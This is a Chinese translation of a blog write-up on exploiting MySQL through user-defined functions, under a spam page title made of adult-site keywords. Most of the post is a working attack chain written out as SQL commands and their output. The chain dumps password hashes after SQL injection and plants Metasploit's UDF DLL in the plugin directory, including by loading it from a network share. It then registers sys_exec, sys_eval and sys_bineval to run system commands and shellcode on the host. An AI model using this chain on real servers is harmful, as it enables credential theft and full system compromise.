压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

MySQL UDF開發(fā)

在現(xiàn)實(shí)世界中,當(dāng)我登錄金融機(jī)構(gòu)時(shí),遇到了他們擁有內(nèi)部Intranet并且使用MySQL 5.7 64位作為后端數(shù)據(jù)庫(kù)技術(shù)的場(chǎng)景。 大多數(shù)時(shí)候,我在大多數(shù)合作環(huán)境中遇到MSSQL,但這是一種罕見的情況。 我在Web應(yīng)用程序中發(fā)現(xiàn)了SQL注入,并且我可以從mysql.user轉(zhuǎn)儲(chǔ)用戶名和密碼,并且我意識(shí)到它有權(quán)將文件寫入磁盤。 這導(dǎo)致我寫了一篇文章,并分享了向UDF庫(kù)注入MySQL并獲得代碼執(zhí)行和在Windows中彈出一個(gè)shell的技巧。 當(dāng)我谷歌搜索大多數(shù)技術(shù)有點(diǎn)模糊,當(dāng)涉及到Windows。 所以,我想用我自己的研究來寫這篇文章來清除一些事情,并讓你明白一些可以手動(dòng)使用的技巧。

當(dāng)我在一臺(tái)主機(jī)上寫博客時(shí),我將使用最新的MySQL 5.7.21服務(wù)器。為了重現(xiàn)該場(chǎng)景,我運(yùn)行帶有’-secure-file-priv =’參數(shù)的mysqld,服務(wù)器設(shè)置為blank(不是NULL)。在這種情況下,我能夠在內(nèi)部網(wǎng)使用中union注入,從mysql.user表中檢索用戶名和密碼。請(qǐng)注意,在MySQL 5.7及更高版本中,“密碼”列不存在。他們已將其更改為’authentication_string’。

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

請(qǐng)注意,如果您已擁有憑據(jù),則可以使用metasploit的mysql_hashdump.rb輔助模塊來轉(zhuǎn)儲(chǔ)MySQL哈希值。 當(dāng)我寫這篇博文時(shí),腳本需要更新以便在MySQL 5.7中提取,您可以在這里查看我的pull請(qǐng)求

用戶’osanda’的主機(jī)列允許來自192.168.0。*的連接,這意味著我們可以使用該用戶從該IP范圍進(jìn)行遠(yuǎn)程連接。 我破解了密碼哈希并獲得了純文本密碼。

登錄到MySQL后,查看當(dāng)前用戶的權(quán)限。

select * from mysql.user where user = substring_index(user(), '@', 1) ;

我們登錄的用戶擁有所有權(quán)限,并且我們有權(quán)讀取和寫入文件,在這些文件中您可以考慮編寫UDF DLL庫(kù)并獲得代碼執(zhí)行。

什么是UDF庫(kù)

UDF表示MySQL中的用戶定義函數(shù)。這就像在DLL中編寫自己的函數(shù)并在MySQL中調(diào)用它們一樣。我們將使用可在Metasploit框架中找到的“l(fā)ib_mysqludf_sys_64.dll”DLL庫(kù)。您可以使用基于Metasploit”/usr/share/metasploit-framework/data/exploits/mysql/”模塊。(https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql)

首先,我們必須檢查運(yùn)行MySQL的體系結(jié)構(gòu)。 全局變量’@@ version_compile_os’向我們展示了MySQL實(shí)例的體系結(jié)構(gòu),’@@ version_compile_machine’向我們展示了操作系統(tǒng)的體系結(jié)構(gòu)。 在這種情況下,我們?cè)?4位Windows操作系統(tǒng)中運(yùn)行64位版本的MySQL。

MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64                | x86_64                    |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Win64  |
+-------------------------+--------+

從MySQL 5.0.67開始,UDF庫(kù)必須包含在plugin文件夾中,可以使用’@@ plugin_dir’全局變量找到它。 這個(gè)變量可以在mysql.ini文件中看到和編輯。

MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir                                                 |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value                                                        |
+---------------+--------------------------------------------------------------+
| plugin_dir    | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+--------------------------------------------------------------+

您可以通過將新值傳遞給mysqld來更改插件目錄變量。

mysqld.exe –plugin-dir=C:\\temp\\plugins\\

另一種方法是用plugin目錄編寫一個(gè)新的mysql配置文件并將其傳遞給mysqld。

mysqld.exe --defaults-file=C:\\temp\\my.ini

The content of the ‘my.ini

[mysqld]
plugin_dir = C:\\temp\\plugins\\

在5.0.67之前的MySQL版本中,文件必須位于系統(tǒng)動(dòng)態(tài)鏈接程序搜索的目錄中。 這同樣適用于4.1.25之前的MySQL版本。 以下是文檔中提到的文字。

從MySQL 5.0.67開始,文件必須位于插件目錄中。 該目錄由plugin_dir系統(tǒng)變量的值給出。 如果plugin_dir的值為空,則在5.0.67之前使用的行為適用:該文件必須位于由系統(tǒng)的動(dòng)態(tài)鏈接程序搜索的目錄中。

從MySQL 4.1.25開始,文件必須位于插件目錄中。 該目錄由plugin_dir系統(tǒng)變量的值給出。 如果plugin_dir的值為空,則在4.1.25之前使用的行為適用:文件必須位于由系統(tǒng)的動(dòng)態(tài)鏈接程序搜索的目錄中。

在舊版本中,您可以將DLL文件上傳到以下位置并創(chuàng)建新的UDF功能。

  • @@datadir
  • @@basedir\bin
  • C:\windows
  • C:\windows\system
  • C:\windows\system32

上傳二進(jìn)制文件

有很多可能的方法可以做到這一點(diǎn)。load_file函數(shù)支持網(wǎng)絡(luò)路徑。如果您可以將DLL復(fù)制到網(wǎng)絡(luò)共享中,您可以直接加載它并寫入磁盤。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

第二種方法是用一個(gè)十六進(jìn)制編碼的字符串將整個(gè)DLL文件寫入磁盤。

select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

第三種方法是創(chuàng)建一個(gè)表并將二進(jìn)制數(shù)據(jù)插入到十六進(jìn)制編碼流中。 您可以嘗試在一個(gè)插入語(yǔ)句中編寫代碼或?qū)⑵浞纸鉃槎鄠€(gè)部分,其中使用update語(yǔ)句來聯(lián)系二進(jìn)制數(shù)據(jù)。

create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

您也可以直接從磁盤將文件從網(wǎng)絡(luò)共享加載到上面創(chuàng)建的表中,或使用“加載數(shù)據(jù)infile”語(yǔ)句在本地加載。 像上面顯示的那樣將文件轉(zhuǎn)換為十六進(jìn)制,并在寫入磁盤時(shí)取消對(duì)其的編輯。

load data infile '\\\\192.168.0.19\\network\\udf.hex' 
into table temp fields terminated by '@OsandaMalith' 
lines terminated by '@OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

從MySQL 5.6.1和MariaDB 10.0.5開始有好消息。 介紹了函數(shù)’to_base64’和’from_base64’。 如果你是一個(gè)喜歡繞過SQL注入WAFs的人,你可能已經(jīng)在使用這些函數(shù)(提示:路由查詢注入)。

select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

您可以編輯base64文件并添加以下行以轉(zhuǎn)儲(chǔ)到插件目錄。

select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") 
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

之后,你可以像這樣將整個(gè)文件傳遞給mysql。

mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

您也可以使用上面討論的“l(fā)oad data infile”語(yǔ)句直接從網(wǎng)絡(luò)共享或本地編寫base64編碼文件,并像這樣轉(zhuǎn)儲(chǔ)。

select from_base64(data) from temp 
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

探索DLL

大多數(shù)時(shí)候我看到人們只寫關(guān)于Metasploit內(nèi)部的這個(gè)DLL中的’sys_exec’函數(shù)。 為了好奇,我想到了扭轉(zhuǎn)這個(gè)DLL并探索其他功能。 如果我們檢查導(dǎo)出目錄,我們可以看到作者寫了幾個(gè)更有用的函數(shù)。 我會(huì)展示一些有用的功能。

sys_exec

該函數(shù)將在“系統(tǒng)”函數(shù)內(nèi)傳遞參數(shù)’args-> args [0]’。 您可以使用它在目標(biāo)機(jī)器上執(zhí)行系統(tǒng)命令。

安裝

創(chuàng)建函數(shù)sys_exec返回int soname'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+

刪除

drop function sys_exec;

sys_eval

該功能將執(zhí)行系統(tǒng)命令并在屏幕上顯示傳遞給stdout。正如你可以使用這個(gè)函數(shù)一樣,使用_popen函數(shù)和’r’參數(shù),calling process can read the spawned command’s standard output via the returned stream。它使用’fgets’來讀取pipe到緩沖區(qū),它會(huì)返回緩沖區(qū)。

安裝

創(chuàng)建函數(shù)sys_eval返回字符串soname'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_eval';

刪除

drop function sys_eval;

例子

select sys_eval('dir');

sys_get

該函數(shù)使用’getenv’函數(shù)返回系統(tǒng)變量的值。

安裝

創(chuàng)建函數(shù)sys_get返回字符串soname'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_get';

刪除

Drop function sys_get;

例子

Select sys_get('longonserver');

Executing Shellcode – sys_bineval

我在這個(gè)DLL里面找到了一個(gè)很酷的函數(shù)’sys_bineval’。 該函數(shù)將使用’VirtualAlloc’API分配RWX內(nèi)存,并使用’strcpy’將’args-> args [0]’復(fù)制到新分配的內(nèi)存中。 然后這個(gè)緩沖區(qū)被傳遞給’CreateThread’API來產(chǎn)生一個(gè)新的線程。

如果我們看看’CreateThread’API,我們可以看到使用’strcpy’復(fù)制緩沖區(qū)的’lpParameter’作為指針傳遞給要傳遞給線程的變量。 ‘StartAddress’中的函數(shù)將直接移動(dòng)’lpParamter’并調(diào)用ptr rax,這將改變RIP到我們的shellcode。

安裝

創(chuàng)建函數(shù)sys_bineval返回int soname'udf.dll';

驗(yàn)證

select * from mysql.func where name = 'sys_bineval';

刪除

drop function sys_bineval;

例子

然而,我沒有得到這個(gè)工作在64位。 這在32位平臺(tái)中工作正常。 您可以直接打開原始二進(jìn)制shellcode或編碼為base64或十六進(jìn)制編碼并使用此功能執(zhí)行。

select sys_bineval(from_base64(load_file('./calc.b64')));

我注意到這些外部UDF函數(shù)在拆解代碼中沒有適當(dāng)?shù)漠惓L幚怼?因此,在調(diào)用這些函數(shù)時(shí)稍有錯(cuò)誤會(huì)導(dǎo)致mysqld.exe服務(wù)器崩潰。 我希望這篇文章可能對(duì)你有用,同時(shí)記錄下MySQL。

參考

http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html
https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html
https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx

原文:https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

上一篇:機(jī)器學(xué)習(xí)與網(wǎng)絡(luò)安全相關(guān)的資料

下一篇:CVE-2017-13253: 多個(gè)Android DRM服務(wù)中的緩沖區(qū)溢出